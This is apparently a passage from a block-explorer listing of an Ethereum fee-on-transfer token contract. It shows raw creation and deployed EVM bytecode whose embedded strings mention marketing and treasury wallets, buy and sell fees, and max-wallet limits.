1e51995953db94d95b1b60721b815260120160405190819003812060028701548754919260ff6101009092048216929188169160008051602061334a83398151915291611f279160481b90613203565b60405180910390a460028501805461ff00191661010060ff8716021790555b600285015460ff84811663010000009092041614611fdf57604051711b585c9ad95d1a5b99d1995953db94d95b1b60721b815260120160405190819003812060028701548754919260ff63010000009092048216929187169160008051602061334a83398151915291611fbc9160481b90613203565b60405180910390a460028501805463ff0000001916630100000060ff8616021790555b600285015460ff838116600160281b9092041614612078576040516f189d5e509858dad1995953db94d95b1b60821b815260100160405190819003812060028701548754919260ff600160281b9092048216929186169160008051602061334a833981519152916120539160481b90613203565b60405180910390a460028501805465ff00000000001916600160281b60ff8516021790555b600285015460ff828116600160381b9092041614612110576040516c189d5c9b91995953db94d95b1b609a1b8152600d0160405190819003812060028701548754919260ff600160381b9092048216929185169160008051602061334a833981519152916120e99160481b90613203565b60405180910390a460028501805467ff000000000000001916600160381b60ff8416021790555b5050505050565b600285015460ff85811691161461219857604051706c69717569646974794665654f6e42757960781b815260110160405190819003812060028701548754919260ff918216929188169160008051602061334a8339815191529161217e9160481b90613203565b60405180910390a460028501805460ff191660ff86161790555b600285015460ff84811662010000909204161461222c57604051706d61726b6574696e674665654f6e42757960781b815260110160405190819003812060028701548754919260ff620100009092048216929187169160008051602061334a8339815191529161220b9160481b90613203565b60405180910390a460028501805462ff000019166201000060ff8616021790555b600285015460ff838116600160201b90920416146122c3576040516e6275794261636b4665654f6e42757960881b8152600f0160405190819003812060028701548754919260ff600160201b9092048216929186169160008051602061334a8339815191529161229f9160481b90613203565b60405180910390a460028501805464ff000000001916600160201b60ff8516021790555b600285015460ff828116600160301b9092041614612110576040516b6275726e4665654f6e42757960a01b8152600c0160405190819003812060028701548754919260ff600160301b9092048216929185169160008051602061334a833981519152916123339160481b90613203565b60405180910390a460028501805460ff8316600160301b0266ff000000000000199091161790555050505050565b33600090815260136020526040812054819060ff1661247857601854600160201b900460ff16156123fe576018546000906064906123a990600160201b900460ff16876130b1565b6123b391906130de565b6018549091506000906064906123d3906301000000900460ff16886130b1565b6123dd91906130de565b90506123e982876131f0565b955080156123fb576123fb3382611daa565b50505b601854600160201b900460ff161561247157600061241b30610f13565b60185490915060009060029060ff600160201b820481169161243e9116856130b1565b61244891906130de565b61245291906130de565b9050600061246082846131f0565b9050801561246d57600193505b5050505b9050610961565b600061248330610f13565b11156124ac578360000361249e5750600a82905560006124ac565b6124a88585611daa565b5060005b601854600160201b900460ff16156124715760006124c930610f13565b60185490915060009060029060ff600160201b82048116916124ec9116856130b1565b6124f691906130de565b61250091906130de565b9050600061250e82846131f0565b9050801561246d57600093505050509050610961565b600061252f30610f13565b600c5490915047906125429060076130b1565b82111561255a57600c546125579060076130b1565b91505b601854600090819060029060ff600160201b820481169161257c9116876130b1565b61258691906130de565b61259091906130de565b9050600061259e82866131f0565b90506125a981612b60565b60006125b585476131f0565b60185490915060009060ff630100000082048116916125d7916002911661321a565b6125e191906130f2565b6018546125f89190600160201b900460ff1661323c565b60185460ff918216925060009160029184916126159116866130b1565b61261f91906130de565b61262991906130de565b601854909150600090839061264690610100900460ff16866130b1565b61265091906130de565b9050600061265e8284613155565b61266890866131f0565b600e546040519192506001600160a01b0316908290600081818185875af1925050503d80600081146126b6576040519150601f19603f3d011682016040523d82523d6000602084013e6126bb565b606091505b5050600d546040519199506001600160a01b0316904790600081818185875af1925050503d806000811461270b576040519150601f19603f3d011682016040523d82523d6000602084013e612710565b606091505b50909850508615612767576127258784612cba565b60408051878152602081018590529081018890527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619060600160405180910390a15b50505050505050505050565b6001600160a01b0383166127995760405162461bcd60e51b815260040161082f90613168565b6001600160a01b0382166127bf5760405162461bcd60e51b815260040161082f906131ad565b6127fc8160405180606001604052806026815260200161336a602691396001600160a01b0386166000908152600160205260409020549190611d70565b6001600160a01b03808516600090815260016020526040808220939093559084168152205461282b9082611609565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906117809085815260200190565b6018805463ffffffff191690558315612972576011546018805460ff80841661ffff1990921691909117610100620100008086048416919091029190911763ffff00001916600160201b850483169190910263ff000000191617600160301b909304166301000000029190911790556001600160a01b0381166000908152601760205260409020541561292a576001600160a01b038116600090815260176020526040902054612958565b61293381610f13565b15612956576001600160a01b038116600090815260176020526040902054612958565b425b6001600160a01b0382166000908152601760205260409020555b82156129d5576011546018805461010080840460ff90811661ffff199093169290921763010000008086048416929092021763ffff00001916600160281b85048316620100000263ff000000191617600160381b90940491909116029190911790555b821580156129e1575083155b15612a43576011546018805461010080840460ff90811661ffff199093169290921763010000008086048416929092021763ffff00001916600160281b85048316620100000263ff000000191617600160381b90940491909116029190911790555b612a4e848383612d65565b60185460ff63010000008204811691620100008104821691612a78916101008104821691166130f2565b612a8291906130f2565b612a8c91906130f2565b6018805460ff928316600160201b90810264ff000000001983168117938490556040805191861693861693909317815261010084048516602082015262010000840485168184015263010000008404851660608201529204909216608082015290517f6e2a5b7f71cda0b5cb7df899e2ae963197bad5b9805df7f475458f793841201c9181900360a00190a150505050565b600061096183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d70565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110612b9557612b95613255565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015612bee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c12919061326b565b81600181518110612c2557612c25613255565b6001600160a01b039283166020918202929092010152600654612c4b9130911684611668565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790612c84908590600090869030904290600401613288565b600060405180830381600087803b158015612c9e57600080fd5b505af1158015612cb2573d6000803e3d6000fd5b505050505050565b600654612cd29030906001600160a01b031684611668565b60065460405163f305d71960e01b815230600482015260248101849052600060448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015612d40573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061211091906132f9565b6001600160a01b03811615801590612d8857506001600160a01b03811661dead14155b8015612dad57506001600160a01b03821660009081526013602052604090205460ff16155b8015612dd257506001600160a01b03811660009081526013602052604090205460ff16155b156114195782158015612de8575060095460ff16155b1561141957600a546001600160a01b038316600090815260176020526040902054612e1391906131f0565b600b55505050565b600060208083528351808285015260005b81811015612e4857858101830151858201604001528201612e2c565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610df057600080fd5b60008060408385031215612e9157600080fd5b8235612e9c81612e69565b946020939093013593505050565b600060208284031215612ebc57600080fd5b813561096181612e69565b600060208284031215612ed957600080fd5b5035919050565b600080600060608486031215612ef557600080fd5b8335612f0081612e69565b92506020840135612f1081612e69565b929592945050506040919091013590565b60008060408385031215612f3457600080fd5b8235612f3f81612e69565b91506020830135612f4f81612e69565b809150509250929050565b803560ff81168114612f6b57600080fd5b919050565b60008060008060808587031215612f8657600080fd5b612f8f85612f5a565b9350612f9d60208601612f5a565b9250612fab60408601612f5a565b9150612fb960608601612f5a565b905092959194509250565b60008060408385031215612fd757600080fd5b8235612fe281612e69565b915060208301358015158114612f4f57600080fd5b60008060006060848603121561300c57600080fd5b833561301781612e69565b95602085013595506040909401359392505050565b600181811c9082168061304057607f821691505b60208210810361306057634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176107ff576107ff61309b565b634e487b7160e01b600052601260045260246000fd5b6000826130ed576130ed6130c8565b500490565b60ff81811683821601908111156107ff576107ff61309b565b6020808252602a908201527f4163636f756e7420697320616c7265616479207468652076616c7565206f6620604082015269276578636c756465642760b01b606082015260800190565b808201808211156107ff576107ff61309b565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b818103818111156107ff576107ff61309b565b68ffffffffffffffffff1991909116815260200190565b600060ff83168061322d5761322d6130c8565b8060ff84160491505092915050565b60ff82811682821603908111156107ff576107ff61309b565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561327d57600080fd5b815161096181612e69565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156132d85784516001600160a01b0316835293830193918301916001016132b3565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561330e57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636525ab9263e5c8aafb16835ddd9bb8fdba946a279b6dfce6579c7703b180cae2b045524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220da66c046f5c43f6b8336bea2a838219db2852eb4205ef9f1fd71f3ae46a9bc0264736f6c634300081100330000000000000000000000006f35226833e5f40e43079d19e2d971ddcfc081e2000000000000000000000000edd7aff21fc66a0161a6f97708b33f1125a8cbbf

Deployed Bytecode

0x60806040526004361061021e5760003560e01c8063880bcbc111610123578063aee50b1e116100ab578063cd43e2281161006f578063cd43e22814610646578063d2d7ad83146106a5578063dd62ed3e146106bb578063f2fde38b14610701578063fe0175351461072157600080fd5b8063aee50b1e146105a1578063b62496f5146105c1578063bd6d94fc146105f1578063c024666814610611578063c9567bf91461063157600080fd5b80639d952ce9116100f25780639d952ce9146105165780639dccf6f114610536578063a457c2d71461054b578063a9059cbb1461056b578063aa4bde281461058b57600080fd5b8063880bcbc1146104ad5780638c0b5e22146104cd5780638da5cb5b146104e357806395d89b411461050157600080fd5b8063313ce567116101a657806349bd5a5e1161017557806349bd5a5e14610404578063667812911461043857806370a0823114610458578063715018a614610478578063781edb3c1461048d57600080fd5b8063313ce5671461038857806339509351146103a45780633b8dffd4146103c457806342966c68146103e457600080fd5b806318160ddd116101ed57806318160ddd146102da5780631cdbf848146102f95780631e293c101461032657806323b872dd1461034857806327a14fc21461036857600080fd5b8063064a59d01461022a57806306fdde0314610260578063095ea7b3146102825780631694505e146102a257600080fd5b3661022557005b600080fd5b34801561023657600080fd5b5060065461024b90600160a01b900460ff1681565b60405190151581526020015b60405180910390f35b34801561026c57600080fd5b5061027561075c565b6040516102579190612e1b565b34801561028e57600080fd5b5061024b61029d366004612e7e565b6107ee565b3480156102ae57600080fd5b506006546102c2906001600160a01b031681565b6040516001600160a01b039091168152602001610257565b3480156102e657600080fd5b506003545b604051908152602001610257565b34801561030557600080fd5b506102eb610314366004612eaa565b60176020526000908152604090205481565b34801561033257600080fd5b50610346610341366004612ec7565b610805565b005b34801561035457600080fd5b5061024b610363366004612ee0565b6108fe565b34801561037457600080fd5b50610346610383366004612ec7565b610968565b34801561039457600080fd5b5060405160128152602001610257565b3480156103b057600080fd5b5061024b6103bf366004612e7e565b610ab9565b3480156103d057600080fd5b506103466103df366004612f21565b610aef565b3480156103f057600080fd5b506103466103ff366004612ec7565b610de6565b34801561041057600080fd5b506102c27f0000000000000000000000007cb1a0478bc13dce299250dc388b203bcad2a62e81565b34801561044457600080fd5b50610346610453366004612f70565b610df3565b34801561046457600080fd5b506102eb610473366004612eaa565b610f13565b34801561048457600080fd5b50610346610f2e565b34801561049957600080fd5b506103466104a8366004612fc4565b610fa2565b3480156104b957600080fd5b506103466104c8366004612fc4565b61106c565b3480156104d957600080fd5b506102eb60085481565b3480156104ef57600080fd5b506000546001600160a01b03166102c2565b34801561050d57600080fd5b5061027561112e565b34801561052257600080fd5b50610346610531366004612f70565b61113d565b34801561054257600080fd5b50610346611204565b34801561055757600080fd5b5061024b610566366004612e7e565b611245565b34801561057757600080fd5b5061024b610586366004612e7e565b611294565b34801561059757600080fd5b506102eb60075481565b3480156105ad57600080fd5b506103466105bc366004612ec7565b6112a1565b3480156105cd57600080fd5b5061024b6105dc366004612eaa565b60166020526000908152604090205460ff1681565b3480156105fd57600080fd5b5061034661060c366004612ff7565b61136b565b34801561061d57600080fd5b5061034661062c366004612fc4565b61141e565b34801561063d57600080fd5b506103466114e0565b34801561065257600080fd5b5060115460ff80821691620100008104821691600160201b8204811691600160301b9004165b6040805160ff95861681529385166020850152918416918301919091529091166060820152608001610257565b3480156106b157600080fd5b506102eb600c5481565b3480156106c757600080fd5b506102eb6106d6366004612f21565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561070d57600080fd5b5061034661071c366004612eaa565b61151f565b34801561072d57600080fd5b5060115460ff610100820481169163010000008104821691600160281b8204811691600160381b900416610678565b60606004805461076b9061302c565b80601f01602080910402602001604051908101604052809291908181526020018280546107979061302c565b80156107e45780601f106107b9576101008083540402835291602001916107e4565b820191906000526020600020905b8154815290600101906020018083116107c757829003601f168201915b5050505050905090565b60006107fb338484611668565b5060015b92915050565b6000546001600160a01b031633146108385760405162461bcd60e51b815260040161082f90613066565b60405180910390fd5b670de0b6b3a76400006103e861084d60035490565b6108589060026130b1565b61086291906130de565b61086c91906130de565b8110156108cb5760405162461bcd60e51b815260206004820152602760248201527f43616e6e6f7420736574206d6178547820416d6f756e74206c6f776572207468604482015266616e20302e322560c81b606482015260840161082f565b60085460405182907f75f1c17bf623f0f7a2bd91ba61e89dff216960370e3e9a46b250750d03e4215e90600090a3600855565b600061090b84848461178d565b61095d843361095885604051806060016040528060288152602001613390602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611d70565b611668565b5060015b9392505050565b6000546001600160a01b031633146109925760405162461bcd60e51b815260040161082f90613066565b670de0b6b3a76400006103e86109a760035490565b6109b29060146130b1565b6109bc91906130de565b6109c691906130de565b811015610a215760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015263302e322560e01b606482015260840161082f565b6007548103610a865760405162461bcd60e51b815260206004820152602b60248201527f43616e6e6f7420757064617465206d617857616c6c6574416d6f756e7420746f60448201526a2073616d652076616c756560a81b606482015260840161082f565b60075460405182907f6d3e257c59a11116c3e97bb144abf5ba1a6a9da6bd509192ecf0d48f7be1fc7690600090a3600755565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916107fb9185906109589086611609565b6000546001600160a01b03163314610b195760405162461bcd60e51b815260040161082f90613066565b600d546001600160a01b03838116911614610c7e576001600160a01b038216610b845760405162461bcd60e51b815260206004820152601f60248201527f546865206d61726b6574696e6757616c6c65742063616e6e6f74206265203000604482015260640161082f565b7f0000000000000000000000007cb1a0478bc13dce299250dc388b203bcad2a62e6001600160a01b0316826001600160a01b031603610c055760405162461bcd60e51b815260206004820152601f60248201527f546865206d61726b6574696e6757616c6c65742063616e6e6f74206265203000604482015260640161082f565b600d546040516e1b585c9ad95d1a5b99d5d85b1b195d608a1b81526001600160a01b0391821691841690600f01604051908190038120907fd1fafbc3fb0c1fd12765451e803b8d5049dca18f8055298e7d18ebcd0d2ce31290600090a4600d80546001600160a01b0319166001600160a01b0384161790555b600e546001600160a01b03828116911614610de2576001600160a01b038116610ce95760405162461bcd60e51b815260206004820152601e60248201527f54686520747265617375727957616c6c65742063616e6e6f7420626520300000604482015260640161082f565b7f0000000000000000000000007cb1a0478bc13dce299250dc388b203bcad2a62e6001600160a01b0316816001600160a01b031603610d6a5760405162461bcd60e51b815260206004820152601e60248201527f54686520747265617375727957616c6c65742063616e6e6f7420626520300000604482015260640161082f565b600e80546040516d1d1c99585cdd5c9e55d85b1b195d60921b81526001600160a01b03918216929184169101604051908190038120907fd1fafbc3fb0c1fd12765451e803b8d5049dca18f8055298e7d18ebcd0d2ce31290600090a4600e80546001600160a01b0319166001600160a01b0383161790555b5050565b610df03382611daa565b50565b6000546001600160a01b03163314610e1d5760405162461bcd60e51b815260040161082f90613066565b8082610e2985876130f2565b610e3391906130f2565b610e3d91906130f2565b60ff16600111610e8f5760405162461bcd60e51b815260206004820152601860248201527f73656c6c20666565206d75737420626520666169722121210000000000000000604482015260640161082f565b610e9d600f85858585611eb5565b6040516c18985cd95199595ccb54d95b1b609a1b8152600d015b6040805191829003822060ff878116845286811660208501528581168484015284166060840152905190917f69848adfba904cea9fd12f8e800c6bae1d85101b0becc5910e509a93d81449e9919081900360800190a250505050565b6001600160a01b031660009081526001602052604090205490565b6000546001600160a01b03163314610f585760405162461bcd60e51b815260040161082f90613066565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610fcc5760405162461bcd60e51b815260040161082f90613066565b6001600160a01b03821660009081526015602052604090205481151560ff90911615150361100c5760405162461bcd60e51b815260040161082f9061310b565b6001600160a01b038216600081815260156020908152604091829020805460ff191685151590811790915591519182527fb7eada217e08491d4a03c266f93cd278befd124ab34890a5e7f44d023cbade7391015b60405180910390a25050565b6000546001600160a01b031633146110965760405162461bcd60e51b815260040161082f90613066565b6001600160a01b03821660009081526014602052604090205481151560ff9091161515036110d65760405162461bcd60e51b815260040161082f9061310b565b6001600160a01b038216600081815260146020908152604091829020805460ff191685151590811790915591519182527f30098fc83ab61b1a98835d32c4e611adedccfc260eeef586bd329d48e8a40a409101611060565b60606005805461076b9061302c565b6000546001600160a01b031633146111675760405162461bcd60e51b815260040161082f90613066565b808261117385876130f2565b61117d91906130f2565b61118791906130f2565b60ff166001116111d95760405162461bcd60e51b815260206004820152601760248201527f62757920666565206d7573742062652066616972212121000000000000000000604482015260640161082f565b6111e7600f85858585612117565b6040516b62617365466565732d42757960a01b8152600c01610eb7565b6000546001600160a01b0316331461122e5760405162461bcd60e51b815260040161082f90613066565b6b033b2e3c9fd0803ce80000006007819055600855565b60006107fb3384610958856040518060600160405280602581526020016133b8602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190611d70565b60006107fb33848461178d565b6000546001600160a01b031633146112cb5760405162461bcd60e51b815260040161082f90613066565b600c5481036113385760405162461bcd60e51b815260206004820152603360248201527f43616e6e6f7420757064617465206d696e696d756d546f6b656e734265666f72604482015272655377617020746f2073616d652076616c756560681b606482015260840161082f565b600c5460405182907f5b0491f767c1463bea8972339f785795be1a38784cc6483cf649cdcbb28c46b090600090a3600c55565b600c5461137730610f13565b10156113d75760405162461bcd60e51b815260206004820152602960248201527f7377617020616d6f756e74206d757374206f766572207468616e2073776170206044820152686d696e2076616c756560b81b606482015260840161082f565b6113e2838383612361565b1561141957601854600160201b900460ff1615611419576009805460ff1916600117905561140e612524565b6009805460ff191690555b505050565b6000546001600160a01b031633146114485760405162461bcd60e51b815260040161082f90613066565b6001600160a01b03821660009081526013602052604090205481151560ff9091161515036114885760405162461bcd60e51b815260040161082f9061310b565b6001600160a01b038216600081815260136020908152604091829020805460ff191685151590811790915591519182527fa856ba9fdc54a5434b2359874c95612f520a2d7f858864ae98d15c1b2099ca8b9101611060565b6000546001600160a01b0316331461150a5760405162461bcd60e51b815260040161082f90613066565b6006805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146115495760405162461bcd60e51b815260040161082f90613066565b6001600160a01b0381166115ae5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161082f565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000806116168385613155565b9050838110156109615760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161082f565b6001600160a01b0383166116ca5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161082f565b6001600160a01b03821661172b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161082f565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166117b35760405162461bcd60e51b815260040161082f90613168565b6001600160a01b0382166117d95760405162461bcd60e51b815260040161082f906131ad565b806000036117ed5761141983836000612773565b6001600160a01b03808416600081815260166020908152604080832054948716835280832054938352601290915290205460ff92831692918216911615801561184f57506001600160a01b03841660009081526012602052604090205460ff16155b15611b2357600654600160a01b900460ff166118ad5760405162461bcd60e51b815260206004820152601e60248201527f54726164696e672069732063757272656e746c792064697361626c65642e0000604482015260640161082f565b6001600160a01b03851660009081526016602052604090205460ff1680156118ee57506001600160a01b03841660009081526014602052604090205460ff16155b156119bf576008548311156119565760405162461bcd60e51b815260206004820152602860248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526736b0bc10313abc9760c11b606482015260840161082f565b60075461196285610f13565b61196c9085613155565b11156119ba5760405162461bcd60e51b815260206004820152601860248201527f43616e6e6f7420457863656564206d61782077616c6c65740000000000000000604482015260640161082f565b611b23565b6001600160a01b03841660009081526016602052604090205460ff168015611a0057506001600160a01b03851660009081526014602052604090205460ff16155b15611a6a576008548311156119ba5760405162461bcd60e51b815260206004820152602a60248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152691036b0bc1039b2b6361760b11b606482015260840161082f565b6001600160a01b03841660009081526014602052604090205460ff16611aee57600754611a9685610f13565b611aa09085613155565b11156119ba5760405162461bcd60e51b815260206004820152601760248201527f43616e6e6f74204578636565642074782077616c6c6574000000000000000000604482015260640161082f565b60095460ff16158015611b1957506001600160a01b03851660009081526014602052604090205460ff165b15611b235742600a555b611b2f8282878761287f565b6000600c54611b3d30610f13565b6006549111159150600160a01b900460ff168015611b585750805b8015611b67575060095460ff16155b8015611b7e5750601854600160201b900460ff1615155b8015611ba257506001600160a01b03851660009081526016602052604090205460ff165b8015611bc757506001600160a01b03861660009081526013602052604090205460ff16155b8015611bec57506001600160a01b03851660009081526013602052604090205460ff16155b15611c11576009805460ff19166001179055611c06612524565b6009805460ff191690555b60095460009060ff16158015611c305750600654600160a01b900460ff165b6001600160a01b03881660009081526013602052604090205490915060ff1680611c7257506001600160a01b03861660009081526013602052604090205460ff165b15611c7b575060005b808015611c935750601854600160201b900460ff1615155b15611d5c57601854600090606490611cb590600160201b900460ff16886130b1565b611cbf91906130de565b601854909150600090606490611cdf906301000000900460ff16896130b1565b611ce991906130de565b9050611cf582886131f0565b9650611d02893084612773565b8015611d5957611d123082611daa565b60185460408051630100000090920460ff168252602082018390527ffecf12fd01122af77b8b8f1a0f126363142d14fba298ea36d9fe4909f61bb5a1910160405180910390a15b50505b611d67878787612773565b50505050505050565b60008184841115611d945760405162461bcd60e51b815260040161082f9190612e1b565b506000611da184866131f0565b95945050505050565b6001600160a01b038216611e0a5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161082f565b611e4781604051806060016040528060228152602001613328602291396001600160a01b0385166000908152600160205260409020549190611d70565b6001600160a01b038316600090815260016020526040902055600354611e6d9082612b1e565b6003556040518181526000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600285015460ff8581166101009092041614611f4657604051711b1a5c5d5a591a5d1e51995953db94d95b1b60721b815260120160405190819003812060028701548754919260ff6101009092048216929188169160008051602061334a83398151915291611f279160481b90613203565b60405180910390a460028501805461ff00191661010060ff8716021790555b600285015460ff84811663010000009092041614611fdf57604051711b585c9ad95d1a5b99d1995953db94d95b1b60721b815260120160405190819003812060028701548754919260ff63010000009092048216929187169160008051602061334a83398151915291611fbc9160481b90613203565b60405180910390a460028501805463ff0000001916630100000060ff8616021790555b600285015460ff838116600160281b9092041614612078576040516f189d5e509858dad1995953db94d95b1b60821b815260100160405190819003812060028701548754919260ff600160281b9092048216929186169160008051602061334a833981519152916120539160481b90613203565b60405180910390a460028501805465ff00000000001916600160281b60ff8516021790555b600285015460ff828116600160381b9092041614612110576040516c189d5c9b91995953db94d95b1b609a1b8152600d0160405190819003812060028701548754919260ff600160381b9092048216929185169160008051602061334a833981519152916120e99160481b90613203565b60405180910390a460028501805467ff000000000000001916600160381b60ff8416021790555b5050505050565b600285015460ff85811691161461219857604051706c69717569646974794665654f6e42757960781b815260110160405190819003812060028701548754919260ff918216929188169160008051602061334a8339815191529161217e9160481b90613203565b60405180910390a460028501805460ff191660ff86161790555b600285015460ff84811662010000909204161461222c57604051706d61726b6574696e674665654f6e42757960781b815260110160405190819003812060028701548754919260ff620100009092048216929187169160008051602061334a8339815191529161220b9160481b90613203565b60405180910390a460028501805462ff000019166201000060ff8616021790555b600285015460ff838116600160201b90920416146122c3576040516e6275794261636b4665654f6e42757960881b8152600f0160405190819003812060028701548754919260ff600160201b9092048216929186169160008051602061334a8339815191529161229f9160481b90613203565b60405180910390a460028501805464ff000000001916600160201b60ff8516021790555b600285015460ff828116600160301b9092041614612110576040516b6275726e4665654f6e42757960a01b8152600c0160405190819003812060028701548754919260ff600160301b9092048216929185169160008051602061334a833981519152916123339160481b90613203565b60405180910390a460028501805460ff8316600160301b0266ff000000000000199091161790555050505050565b33600090815260136020526040812054819060ff1661247857601854600160201b900460ff16156123fe576018546000906064906123a990600160201b900460ff16876130b1565b6123b391906130de565b6018549091506000906064906123d3906301000000900460ff16886130b1565b6123dd91906130de565b90506123e982876131f0565b955080156123fb576123fb3382611daa565b50505b601854600160201b900460ff161561247157600061241b30610f13565b60185490915060009060029060ff600160201b820481169161243e9116856130b1565b61244891906130de565b61245291906130de565b9050600061246082846131f0565b9050801561246d57600193505b5050505b9050610961565b600061248330610f13565b11156124ac578360000361249e5750600a82905560006124ac565b6124a88585611daa565b5060005b601854600160201b900460ff16156124715760006124c930610f13565b60185490915060009060029060ff600160201b82048116916124ec9116856130b1565b6124f691906130de565b61250091906130de565b9050600061250e82846131f0565b9050801561246d57600093505050509050610961565b600061252f30610f13565b600c5490915047906125429060076130b1565b82111561255a57600c546125579060076130b1565b91505b601854600090819060029060ff600160201b820481169161257c9116876130b1565b61258691906130de565b61259091906130de565b9050600061259e82866131f0565b90506125a981612b60565b60006125b585476131f0565b60185490915060009060ff630100000082048116916125d7916002911661321a565b6125e191906130f2565b6018546125f89190600160201b900460ff1661323c565b60185460ff918216925060009160029184916126159116866130b1565b61261f91906130de565b61262991906130de565b601854909150600090839061264690610100900460ff16866130b1565b61265091906130de565b9050600061265e8284613155565b61266890866131f0565b600e546040519192506001600160a01b0316908290600081818185875af1925050503d80600081146126b6576040519150601f19603f3d011682016040523d82523d6000602084013e6126bb565b606091505b5050600d546040519199506001600160a01b0316904790600081818185875af1925050503d806000811461270b576040519150601f19603f3d011682016040523d82523d6000602084013e612710565b606091505b50909850508615612767576127258784612cba565b60408051878152602081018590529081018890527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619060600160405180910390a15b50505050505050505050565b6001600160a01b0383166127995760405162461bcd60e51b815260040161082f90613168565b6001600160a01b0382166127bf5760405162461bcd60e51b815260040161082f906131ad565b6127fc8160405180606001604052806026815260200161336a602691396001600160a01b0386166000908152600160205260409020549190611d70565b6001600160a01b03808516600090815260016020526040808220939093559084168152205461282b9082611609565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906117809085815260200190565b6018805463ffffffff191690558315612972576011546018805460ff80841661ffff1990921691909117610100620100008086048416919091029190911763ffff00001916600160201b850483169190910263ff000000191617600160301b909304166301000000029190911790556001600160a01b0381166000908152601760205260409020541561292a576001600160a01b038116600090815260176020526040902054612958565b61293381610f13565b15612956576001600160a01b038116600090815260176020526040902054612958565b425b6001600160a01b0382166000908152601760205260409020555b82156129d5576011546018805461010080840460ff90811661ffff199093169290921763010000008086048416929092021763ffff00001916600160281b85048316620100000263ff000000191617600160381b90940491909116029190911790555b821580156129e1575083155b15612a43576011546018805461010080840460ff90811661ffff199093169290921763010000008086048416929092021763ffff00001916600160281b85048316620100000263ff000000191617600160381b90940491909116029190911790555b612a4e848383612d65565b60185460ff63010000008204811691620100008104821691612a78916101008104821691166130f2565b612a8291906130f2565b612a8c91906130f2565b6018805460ff928316600160201b90810264ff000000001983168117938490556040805191861693861693909317815261010084048516602082015262010000840485168184015263010000008404851660608201529204909216608082015290517f6e2a5b7f71cda0b5cb7df899e2ae963197bad5b9805df7f475458f793841201c9181900360a00190a150505050565b600061096183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d70565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110612b9557612b95613255565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015612bee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c12919061326b565b81600181518110612c2557612c25613255565b6001600160a01b039283166020918202929092010152600654612c4b9130911684611668565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790612c84908590600090869030904290600401613288565b600060405180830381600087803b158015612c9e57600080fd5b505af1158015612cb2573d6000803e3d6000fd5b505050505050565b600654612cd29030906001600160a01b031684611668565b60065460405163f305d71960e01b815230600482015260248101849052600060448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015612d40573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061211091906132f9565b6001600160a01b03811615801590612d8857506001600160a